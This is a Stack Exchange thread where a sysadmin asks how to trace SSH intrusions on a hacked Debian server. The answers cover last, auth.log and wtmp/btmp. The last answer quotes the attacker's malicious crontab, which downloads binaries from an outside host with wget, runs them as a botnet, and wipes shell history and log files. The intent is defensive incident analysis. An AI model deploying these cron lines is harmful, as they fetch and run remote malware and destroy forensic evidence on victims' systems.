Take the 2-minute tour ×
Unix & Linux Stack Exchange is a question and answer site for users of Linux, FreeBSD and other Un*x-like operating systems.. It's 100% free, no registration required.

It has come to my attention that a server of mine has been hacked and infected with a known chinese botnet.

It was a prototype/testing virtual machine with its own static IP(US address) so no harm was caused(just took me a while to figure it out).

Now I would like to know what IP/s was used for the intrusion to know if the attack originated from china.

Is there a way to view a history of received connections on ssh on the server?

Edit: The system is Linux Debian 7

share|improve this question
add comment

4 Answers 4

Look at the output of the last command and anything with an IP address or hostname instead of a blank space came in over the network. If sshd is the only way of doing that on this system, then there you go.

Alternatively (if this is Linux), you can check /var/log/secure where sshd will usually keep track of connections made even if they don't result in successful logins (which hits utmp/wtmp, which is what last will read from). Example:

Apr  3 16:21:01 xxxxxxvlp05 sshd[6266]: Connection closed by xxx.xxx.13.76
...
Apr  3 09:09:49 xxxxxxvlp05 sshd[26275]: Failed password for invalid user __super from xxx.xxx.13.76 port 45229 ssh2

IIRC Solaris's sshd (which may not necessarily be OpenSSH's sshd) will log this information to /var/adm/messages

EDIT:

@derobert makes an excellent point. It's important to remember that on any system, if your superuser account is compromised, then all bets are off since log files such as /var/log/wtmp or /var/adm/messages can be modified by the attacker. This can be mitigated if you shove logs off-server to a secure location.

For example, at one shop I used to work at we had an "Audit Vault" machine that was secured so as to only receive the audit log files from the various servers in the data center. I would recommend having a similar setup in the future (since "I have a test machine" sounds like you're operating in a large-ish shop)

share|improve this answer
2  
Your answer covers almost everything, so I don't want to add my own... but please add something along the lines of "If the attacker has obtained root, then in most configurations, no logging data on the box can really be trusted, as root can easily edit logs." –  derobert Apr 3 at 22:09
    
@derobert, I added some details along what you had suggested :) –  Ramesh Apr 3 at 22:14
add comment

From this answer, I see the below information.

Talking about SSH servers, I will give you command line solutions.

Track user logins and logouts. That's easy, the file /var/log/auth.log should have this information.

Track activity of those users: If they are somewhat innocent, you can check the file .bash_history in their home directory. You will see a list of the commands that they executed. The problem is of course that they can delete or edit this file.

Prevent users from deleting logs: Users shouldn't be able to touch auth.log. In order to stop them from playing with bash_history you need to do a couple of tricks.

What if the user manages to obtain root access? : You're screwed. Unless he makes a mistake he will be able to hide all his footsteps.

Also, from this answer, we can see the IP address of a client using the SSH_CLIENT variable.

Also from this answer, I see that ssh history could be stored in these files.

In addition to /var/log/lastlog, there are 3 files in /var/run and /var/log: utmp, wtmp and btmp, which hold info about current logins (and additional info), historical and failed logins. See wiki for detailed description. You can't edit the files with normal editors, but could erase them.

share|improve this answer
add comment

Is there a way to view a history of received connections on ssh on the server?

This should give you a list:

$ zgrep sshd /var/log/auth.log* | grep rhost | sed -re 's/.*rhost=([^ ]+).*/\1/' | sort -u

Then you can use geoiplookup from the geoip-bin package to go from hostname or IP-address to country.

share|improve this answer
add comment

Well as expected and as @Joel Davis said, all logs where wiped, but there was one file that @Ramesh mentioned that has some attempts to access the root user but failed to enter the correct password a few times, then the disconnect for to many re-tries.

I ran a traceroute on three of the addresses and two are from china and the other is from pakistan, these are the IPs:

221.120.224.179 116.10.191.218 61.174.51.221

More info bout the botnet that was injected into the server after it was compromised:

Hackers edit crontab to execute 7 executables that will, every x amount of time, use up all the CPU, max the servers network output, then simply die. Also they add the readme to contab 100 times to hide the added lines, so when you do crontab -l you will be spammed by the readme with hidden lines. To circumvent this I used crontab -l | grep -v '^#' and here is the output of that command:

*/1 * * * * killall -9 .IptabLes */1 * * * * killall -9 nfsd4 */1 * * * * killall -9 profild.key */1 * * * * killall -9 nfsd */1 * * * * killall -9 DDosl */1 * * * * killall -9 lengchao32 */1 * * * * killall -9 b26 */1 * * * * killall -9 codelove */1 * * * * killall -9 32 */1 * * * * killall -9 64 */1 * * * * killall -9 new6 */1 * * * * killall -9 new4 */1 * * * * killall -9 node24 */1 * * * * killall -9 freeBSD */99 * * * * killall -9 kysapd */98 * * * * killall -9 atdd */97 * * * * killall -9 kysapd */96 * * * * killall -9 skysapd */95 * * * * killall -9 xfsdx */94 * * * * killall -9 ksapd */120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/atdd */120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/cupsdd */130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/kysapd */130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/sksapd */140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/skysapd */140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/xfsdx */120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/ksapd */120 * * * * cd /root;rm -rf dir nohup.out */360 * * * * cd /etc;rm -rf dir atdd */360 * * * * cd /etc;rm -rf dir ksapd */360 * * * * cd /etc;rm -rf dir kysapd */360 * * * * cd /etc;rm -rf dir skysapd */360 * * * * cd /etc;rm -rf dir sksapd */360 * * * * cd /etc;rm -rf dir xfsdx */1 * * * * cd /etc;rm -rf dir cupsdd.* */1 * * * * cd /etc;rm -rf dir atdd.* */1 * * * * cd /etc;rm -rf dir ksapd.* */1 * * * * cd /etc;rm -rf dir kysapd.* */1 * * * * cd /etc;rm -rf dir skysapd.* */1 * * * * cd /etc;rm -rf dir sksapd.* */1 * * * * cd /etc;rm -rf dir xfsdx.* */1 * * * * chmod 7777 /etc/atdd */1 * * * * chmod 7777 /etc/cupsdd */1 * * * * chmod 7777 /etc/ksapd */1 * * * * chmod 7777 /etc/kysapd */1 * * * * chmod 7777 /etc/skysapd */1 * * * * chmod 7777 /etc/sksapd */1 * * * * chmod 7777 /etc/xfsdx */99 * * * * nohup /etc/cupsdd > /dev/null 2>&1& */100 * * * * nohup /etc/kysapd > /dev/null 2>&1& */99 * * * * nohup /etc/atdd > /dev/null 2>&1& */98 * * * * nohup /etc/kysapd > /dev/null 2>&1& */97 * * * * nohup /etc/skysapd > /dev/null 2>&1& */96 * * * * nohup /etc/xfsdx > /dev/null 2>&1& */95 * * * * nohup /etc/ksapd > /dev/null 2>&1& */1 * * * * echo "unset MAILCHECK" >> /etc/profile */1 * * * * rm -rf /root/.bash_history */1 * * * * touch /root/.bash_history */1 * * * * history -r */1 * * * * cd /var/log > dmesg */1 * * * * cd /var/log > auth.log */1 * * * * cd /var/log > alternatives.log */1 * * * * cd /var/log > boot.log */1 * * * * cd /var/log > btmp */1 * * * * cd /var/log > cron */1 * * * * cd /var/log > cups */1 * * * * cd /var/log > daemon.log */1 * * * * cd /var/log > dpkg.log */1 * * * * cd /var/log > faillog */1 * * * * cd /var/log > kern.log */1 * * * * cd /var/log > lastlog */1 * * * * cd /var/log > maillog */1 * * * * cd /var/log > user.log */1 * * * * cd /var/log > Xorg.x.log */1 * * * * cd /var/log > anaconda.log */1 * * * * cd /var/log > yum.log */1 * * * * cd /var/log > secure */1 * * * * cd /var/log > wtmp */1 * * * * cd /var/log > utmp */1 * * * * cd /var/log > messages */1 * * * * cd /var/log > spooler */1 * * * * cd /var/log > sudolog */1 * * * * cd /var/log > aculog */1 * * * * cd /var/log > access-log */1 * * * * cd /root > .bash_history */1 * * * * history -c

As you can see, all the log files are cleared, this is why I was not able to retrieve alot of information.

It brought down the entire server(all the VMs) causing timeouts on the sites and on proxmox. Here is a graph(The spikes denote the botnet actively DDoS'ing and notice the network out): botnet activity

As a result I will be adding the entire range of chinese ip addresses to a firewall to block all the connections(I dont have any chinese users so I dont care), I will also disallow remote root logins and use long complex passwords. I will also most likely change the ssh port and use private ssh keys as well.

I hope this helps other people and that someone can take these people down.

PS: If you want more info/files/etc let me know

share|improve this answer
add comment

Your Answer

 
discard

By posting your answer, you agree to the privacy policy and terms of service.

Not the answer you're looking for? Browse other questions tagged or ask your own question.